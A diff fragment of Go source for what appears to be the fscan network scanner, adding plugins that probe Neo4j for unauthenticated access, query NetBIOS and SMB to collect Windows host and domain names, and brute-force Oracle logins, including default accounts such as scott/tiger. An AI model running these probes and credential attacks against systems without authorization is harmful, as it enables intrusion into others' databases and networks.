ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
if resp.StatusCode == 401 || resp.StatusCode == 403 {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("认证失败,状态码: %d", resp.StatusCode),
|
||||
}
|
||||
}
|
||||
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("未知错误,状态码: %d", resp.StatusCode),
|
||||
}
|
||||
}
|
||||
|
||||
// neo4jConnWrapper Neo4j连接包装器
|
||||
type neo4jConnWrapper struct{}
|
||||
|
||||
func (w *neo4jConnWrapper) Close() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// classifyNeo4jErrorType Neo4j错误分类
|
||||
func classifyNeo4jErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
neo4jAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"unauthorized",
|
||||
"invalid credentials",
|
||||
"401 unauthorized",
|
||||
"403 forbidden",
|
||||
}
|
||||
|
||||
return ClassifyError(err, neo4jAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/db/data/", nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return nil
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "neo4j",
|
||||
Banner: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL, nil)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "neo4j",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "neo4j",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
var banner string
|
||||
serverHeader := resp.Header.Get("Server")
|
||||
|
||||
if serverHeader != "" && strings.Contains(strings.ToLower(serverHeader), "neo4j") {
|
||||
banner = "Neo4j"
|
||||
} else if resp.StatusCode == 200 || resp.StatusCode == 401 {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
if strings.Contains(strings.ToLower(string(body)), "neo4j") {
|
||||
banner = "Neo4j"
|
||||
} else {
|
||||
banner = "Neo4j"
|
||||
}
|
||||
} else {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "neo4j",
|
||||
Error: fmt.Errorf("无法识别为Neo4j服务"),
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("neo4j_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "neo4j",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("neo4j", func() Plugin {
|
||||
return NewNeo4jPlugin()
|
||||
}, []int{7474, 7687, 7473})
|
||||
}
|
||||
@@ -0,0 +1,457 @@
|
||||
//go:build plugin_netbios || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// NetBIOSPlugin NetBIOS名称服务扫描插件 - 收集Windows主机名和域信息
|
||||
type NetBIOSPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewNetBIOSPlugin 创建NetBIOS插件
|
||||
func NewNetBIOSPlugin() *NetBIOSPlugin {
|
||||
return &NetBIOSPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("netbios"),
|
||||
}
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
|
||||
// Scan 执行NetBIOS扫描 - 收集Windows主机和域信息
|
||||
func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 检查端口类型
|
||||
if info.Port != 137 && info.Port != 139 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "netbios",
|
||||
Error: fmt.Errorf("NetBIOS插件仅支持137和139端口"),
|
||||
}
|
||||
}
|
||||
|
||||
var netbiosInfo *NetBIOSInfo
|
||||
var err error
|
||||
|
||||
if info.Port == 137 {
|
||||
// UDP端口137 - NetBIOS名称服务
|
||||
netbiosInfo, err = p.queryNetBIOSNames(info.Host, config, state)
|
||||
} else {
|
||||
// TCP端口139 - NetBIOS会话服务
|
||||
netbiosInfo, err = p.queryNetBIOSSession(info.Host, config)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "netbios",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if !netbiosInfo.Valid {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "netbios",
|
||||
Error: fmt.Errorf("未发现有效的NetBIOS信息"),
|
||||
}
|
||||
}
|
||||
|
||||
// 记录NetBIOS发现信息
|
||||
msg := fmt.Sprintf("NetBios %s", target)
|
||||
if netbiosInfo.Summary() != "" {
|
||||
msg += fmt.Sprintf(" %s", netbiosInfo.Summary())
|
||||
}
|
||||
common.LogSuccess(msg)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "netbios",
|
||||
Banner: netbiosInfo.Summary(),
|
||||
}
|
||||
}
|
||||
|
||||
// NetBIOSInfo NetBIOS信息结构
|
||||
type NetBIOSInfo struct {
|
||||
Valid bool
|
||||
ComputerName string
|
||||
DomainName string
|
||||
WorkstationService string
|
||||
ServerService string
|
||||
DomainControllers string
|
||||
OSVersion string
|
||||
NetBIOSComputerName string
|
||||
NetBIOSDomainName string
|
||||
}
|
||||
|
||||
// Summary 返回NetBIOS信息摘要
|
||||
func (ni *NetBIOSInfo) Summary() string {
|
||||
if !ni.Valid {
|
||||
return ""
|
||||
}
|
||||
|
||||
var parts []string
|
||||
|
||||
// 优先使用完整的计算机名
|
||||
if ni.ComputerName != "" {
|
||||
if ni.DomainName != "" && !strings.Contains(ni.ComputerName, ".") {
|
||||
parts = append(parts, fmt.Sprintf("%s\\%s", ni.DomainName, ni.ComputerName))
|
||||
} else {
|
||||
parts = append(parts, ni.ComputerName)
|
||||
}
|
||||
} else {
|
||||
// 使用服务名称
|
||||
var name string
|
||||
if ni.ServerService != "" {
|
||||
name = ni.ServerService
|
||||
} else if ni.WorkstationService != "" {
|
||||
name = ni.WorkstationService
|
||||
} else if ni.NetBIOSComputerName != "" {
|
||||
name = ni.NetBIOSComputerName
|
||||
}
|
||||
|
||||
if name != "" {
|
||||
if ni.DomainName != "" {
|
||||
parts = append(parts, fmt.Sprintf("%s\\%s", ni.DomainName, name))
|
||||
} else if ni.NetBIOSDomainName != "" {
|
||||
parts = append(parts, fmt.Sprintf("%s\\%s", ni.NetBIOSDomainName, name))
|
||||
} else {
|
||||
parts = append(parts, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 添加域控制器标识
|
||||
if ni.DomainControllers != "" {
|
||||
if len(parts) > 0 {
|
||||
parts[0] = fmt.Sprintf("DC:%s", parts[0])
|
||||
}
|
||||
}
|
||||
|
||||
// 添加操作系统信息
|
||||
if ni.OSVersion != "" {
|
||||
parts = append(parts, ni.OSVersion)
|
||||
}
|
||||
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// queryNetBIOSNames 查询NetBIOS名称服务(UDP 137)
|
||||
func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, state *common.State) (*NetBIOSInfo, error) {
|
||||
// NetBIOS名称查询数据包
|
||||
queryPacket := []byte{
|
||||
0x66, 0x66, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x20, 0x43, 0x4B, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
|
||||
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
|
||||
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x21, 0x00, 0x01,
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:137", host)
|
||||
|
||||
conn, err := net.DialTimeout("udp", target, config.Timeout)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接NetBIOS名称服务失败: %w", err)
|
||||
}
|
||||
state.IncrementUDPPacketCount()
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
_, err = conn.Write(queryPacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送NetBIOS查询失败: %w", err)
|
||||
}
|
||||
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取NetBIOS响应失败: %w", err)
|
||||
}
|
||||
|
||||
return p.parseNetBIOSNames(response[:n])
|
||||
}
|
||||
|
||||
// queryNetBIOSSession 查询NetBIOS会话服务(TCP 139)
|
||||
func (p *NetBIOSPlugin) queryNetBIOSSession(host string, config *common.Config) (*NetBIOSInfo, error) {
|
||||
target := fmt.Sprintf("%s:139", host)
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接NetBIOS会话服务失败: %w", err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
// 发送SMB协商数据包
|
||||
smbNegotiate1 := []byte{
|
||||
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
|
||||
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
|
||||
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
|
||||
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
|
||||
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
|
||||
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
|
||||
}
|
||||
|
||||
_, err = conn.Write(smbNegotiate1)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMB协商1失败: %w", err)
|
||||
}
|
||||
|
||||
response1 := make([]byte, 1024)
|
||||
_, err = conn.Read(response1)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMB协商1响应失败: %w", err)
|
||||
}
|
||||
|
||||
// 发送Session Setup请求
|
||||
smbSessionSetup := []byte{
|
||||
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
|
||||
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
|
||||
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
|
||||
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
|
||||
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
|
||||
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
|
||||
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
|
||||
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
|
||||
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
|
||||
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
|
||||
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
|
||||
_, err = conn.Write(smbSessionSetup)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMB Session Setup失败: %w", err)
|
||||
}
|
||||
|
||||
response2 := make([]byte, 2048)
|
||||
n, err := conn.Read(response2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMB Session Setup响应失败: %w", err)
|
||||
}
|
||||
|
||||
return p.parseNetBIOSSession(response2[:n])
|
||||
}
|
||||
|
||||
// parseNetBIOSNames 解析NetBIOS名称查询响应
|
||||
func (p *NetBIOSPlugin) parseNetBIOSNames(data []byte) (*NetBIOSInfo, error) {
|
||||
info := &NetBIOSInfo{Valid: false}
|
||||
|
||||
if len(data) < 57 {
|
||||
return info, fmt.Errorf("NetBIOS响应数据过短")
|
||||
}
|
||||
|
||||
// 获取名称记录数量
|
||||
numNames := int(data[56])
|
||||
if numNames == 0 {
|
||||
return info, fmt.Errorf("没有NetBIOS名称记录")
|
||||
}
|
||||
|
||||
nameData := data[57:]
|
||||
|
||||
// 服务类型映射
|
||||
uniqueNames := map[byte]string{
|
||||
0x00: "WorkstationService",
|
||||
0x03: "Messenger Service",
|
||||
0x06: "RAS Server Service",
|
||||
0x1F: "NetDDE Service",
|
||||
0x20: "ServerService",
|
||||
0x21: "RAS Client Service",
|
||||
0x1D: "Master Browser",
|
||||
0x1B: "Domain Master Browser",
|
||||
}
|
||||
|
||||
groupNames := map[byte]string{
|
||||
0x00: "DomainName",
|
||||
0x1C: "DomainControllers",
|
||||
0x1E: "Browser Service Elections",
|
||||
}
|
||||
|
||||
info.Valid = true
|
||||
|
||||
// 解析每个名称记录
|
||||
for i := 0; i < numNames && len(nameData) >= 18*(i+1); i++ {
|
||||
offset := 18 * i
|
||||
name := strings.TrimSpace(string(nameData[offset : offset+15]))
|
||||
flagByte := nameData[offset+15]
|
||||
|
||||
if len(nameData) >= 18*(i+1) {
|
||||
nameFlags := nameData[offset+16]
|
||||
|
||||
if nameFlags >= 128 {
|
||||
// 组名称
|
||||
if service, exists := groupNames[flagByte]; exists {
|
||||
switch service {
|
||||
case "DomainName":
|
||||
info.DomainName = name
|
||||
case "DomainControllers":
|
||||
info.DomainControllers = name
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// 唯一名称
|
||||
if service, exists := uniqueNames[flagByte]; exists {
|
||||
switch service {
|
||||
case "WorkstationService":
|
||||
info.WorkstationService = name
|
||||
case "ServerService":
|
||||
info.ServerService = name
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// parseNetBIOSSession 解析NetBIOS会话响应
|
||||
func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) {
|
||||
info := &NetBIOSInfo{Valid: false}
|
||||
|
||||
if len(data) < 47 {
|
||||
return info, fmt.Errorf("SMB响应数据过短")
|
||||
}
|
||||
|
||||
info.Valid = true
|
||||
|
||||
// 解析OS版本信息
|
||||
blobLength := int(data[43]) + int(data[44])*256
|
||||
if len(data) >= 48+blobLength {
|
||||
osVersion := data[47+blobLength:]
|
||||
osText := p.cleanOSString(osVersion)
|
||||
if osText != "" {
|
||||
info.OSVersion = osText
|
||||
}
|
||||
}
|
||||
|
||||
// 查找NTLM数据
|
||||
ntlmStart := bytes.Index(data, []byte("NTLMSSP"))
|
||||
if ntlmStart != -1 && len(data) > ntlmStart+45 {
|
||||
p.parseNTLMInfo(data[ntlmStart:], info)
|
||||
}
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// parseNTLMInfo 解析NTLM信息
|
||||
func (p *NetBIOSPlugin) parseNTLMInfo(data []byte, info *NetBIOSInfo) {
|
||||
if len(data) < 45 {
|
||||
return
|
||||
}
|
||||
|
||||
// 获取Target Info偏移和长度
|
||||
targetInfoLength := int(data[40]) + int(data[41])*256
|
||||
targetInfoOffset := int(data[44])
|
||||
|
||||
if targetInfoOffset+targetInfoLength > len(data) {
|
||||
return
|
||||
}
|
||||
|
||||
// 解析AV_PAIR结构
|
||||
targetInfo := data[targetInfoOffset : targetInfoOffset+targetInfoLength]
|
||||
offset := 0
|
||||
|
||||
for offset+4 <= len(targetInfo) {
|
||||
avId := int(targetInfo[offset]) + int(targetInfo[offset+1])*256
|
||||
avLen := int(targetInfo[offset+2]) + int(targetInfo[offset+3])*256
|
||||
|
||||
if avId == 0x0000 || offset+4+avLen > len(targetInfo) {
|
||||
break
|
||||
}
|
||||
|
||||
value := p.parseUnicodeString(targetInfo[offset+4 : offset+4+avLen])
|
||||
|
||||
switch avId {
|
||||
case 0x0001: // NetBIOS computer name
|
||||
info.NetBIOSComputerName = value
|
||||
case 0x0002: // NetBIOS domain name
|
||||
info.NetBIOSDomainName = value
|
||||
case 0x0003: // DNS computer name
|
||||
if info.ComputerName == "" {
|
||||
info.ComputerName = value
|
||||
}
|
||||
case 0x0004: // DNS domain name
|
||||
if info.DomainName == "" {
|
||||
info.DomainName = value
|
||||
}
|
||||
}
|
||||
|
||||
offset += 4 + avLen
|
||||
}
|
||||
}
|
||||
|
||||
// cleanOSString 清理操作系统字符串
|
||||
func (p *NetBIOSPlugin) cleanOSString(data []byte) string {
|
||||
// 移除NULL字节并分割
|
||||
cleaned := bytes.ReplaceAll(data, []byte{0x00, 0x00}, []byte{124})
|
||||
cleaned = bytes.ReplaceAll(cleaned, []byte{0x00}, []byte{})
|
||||
|
||||
if len(cleaned) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
// 移除最后的分隔符
|
||||
if cleaned[len(cleaned)-1] == 124 {
|
||||
cleaned = cleaned[:len(cleaned)-1]
|
||||
}
|
||||
|
||||
osText := string(cleaned)
|
||||
parts := strings.Split(osText, "|")
|
||||
if len(parts) > 0 {
|
||||
return parts[0]
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// parseUnicodeString 解析Unicode字符串
|
||||
func (p *NetBIOSPlugin) parseUnicodeString(data []byte) string {
|
||||
if len(data)%2 != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var result []rune
|
||||
for i := 0; i < len(data); i += 2 {
|
||||
if i+1 >= len(data) {
|
||||
break
|
||||
}
|
||||
// UTF-16LE编码
|
||||
char := uint16(data[i]) | uint16(data[i+1])<<8
|
||||
if char == 0 {
|
||||
break
|
||||
}
|
||||
result = append(result, rune(char))
|
||||
}
|
||||
|
||||
return string(result)
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
// 使用高效注册方式:直接传递端口信息,避免实例创建
|
||||
RegisterPluginWithPorts("netbios", func() Plugin {
|
||||
return NewNetBIOSPlugin()
|
||||
}, []int{137, 139})
|
||||
}
|
||||
@@ -0,0 +1,218 @@
|
||||
//go:build plugin_oracle || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
_ "github.com/sijms/go-ora/v2"
|
||||
)
|
||||
|
||||
// OraclePlugin Oracle扫描插件
|
||||
type OraclePlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewOraclePlugin() *OraclePlugin {
|
||||
return &OraclePlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("oracle"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 先测试未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("oracle_service", target, result.Banner))
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("oracle", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "oracle",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "oracle", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("oracle_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Oracle认证函数
|
||||
func (p *OraclePlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doOracleAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doOracleAuth 执行Oracle认证
|
||||
func (p *OraclePlugin) doOracleAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
serviceNames := []string{"ORCL", "XE", "XEPDB1", target}
|
||||
|
||||
for _, serviceName := range serviceNames {
|
||||
connStr := fmt.Sprintf("oracle://%s:%s@%s/%s", cred.Username, cred.Password, target, serviceName)
|
||||
|
||||
connectCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
|
||||
db, err := sql.Open("oracle", connStr)
|
||||
if err != nil {
|
||||
cancel()
|
||||
continue
|
||||
}
|
||||
|
||||
db.SetMaxOpenConns(1)
|
||||
db.SetMaxIdleConns(0)
|
||||
db.SetConnMaxLifetime(config.Timeout)
|
||||
|
||||
err = db.PingContext(connectCtx)
|
||||
if err != nil {
|
||||
_ = db.Close()
|
||||
cancel()
|
||||
errorType := classifyOracleErrorType(err)
|
||||
if errorType == ErrorTypeAuth {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: errorType,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
cancel()
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &oracleDBWrapper{db},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: fmt.Errorf("无法连接到Oracle数据库"),
|
||||
}
|
||||
}
|
||||
|
||||
// oracleDBWrapper 包装 sql.DB 以实现 io.Closer
|
||||
type oracleDBWrapper struct {
|
||||
*sql.DB
|
||||
}
|
||||
|
||||
func (w *oracleDBWrapper) Close() error {
|
||||
return w.DB.Close()
|
||||
}
|
||||
|
||||
// classifyOracleErrorType Oracle错误分类
|
||||
func classifyOracleErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
oracleAuthErrors := []string{
|
||||
"invalid username/password",
|
||||
"logon denied",
|
||||
"ora-01017",
|
||||
"ora-01045",
|
||||
"ora-28000",
|
||||
"ora-28001",
|
||||
"authentication failed",
|
||||
"permission denied",
|
||||
"access denied",
|
||||
}
|
||||
|
||||
oracleNetworkErrors := append(CommonNetworkErrors,
|
||||
"tns-12541", "tns-12514", "tns-12505",
|
||||
"ora-12170", "ora-12154", "ora-12537",
|
||||
"ora-03135", "ora-03113",
|
||||
)
|
||||
|
||||
return ClassifyError(err, oracleAuthErrors, oracleNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试Oracle未授权访问
|
||||
func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
defaultAccounts := []Credential{
|
||||
{Username: "scott", Password: "tiger"},
|
||||
{Username: "sys", Password: "sys"},
|
||||
{Username: "system", Password: "manager"},
|
||||
}
|
||||
|
||||
for _, cred := range defaultAccounts {
|
||||
result := p.doOracleAuth(ctx, info, cred, config, state)
|
||||
if result.Success {
|
||||
if result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
common.LogSuccess(i18n.Tr("oracle_default_account", target, cred.Username, cred.Password))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "oracle",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: "未授权访问 - 默认账户",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "oracle",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
_ = conn.Close()
|
||||
|
||||
banner := "Oracle"
|
||||
common.LogSuccess(i18n.Tr("oracle_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "oracle",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("oracle", func() Plugin {
|
||||
return NewOraclePlugin()
|
||||
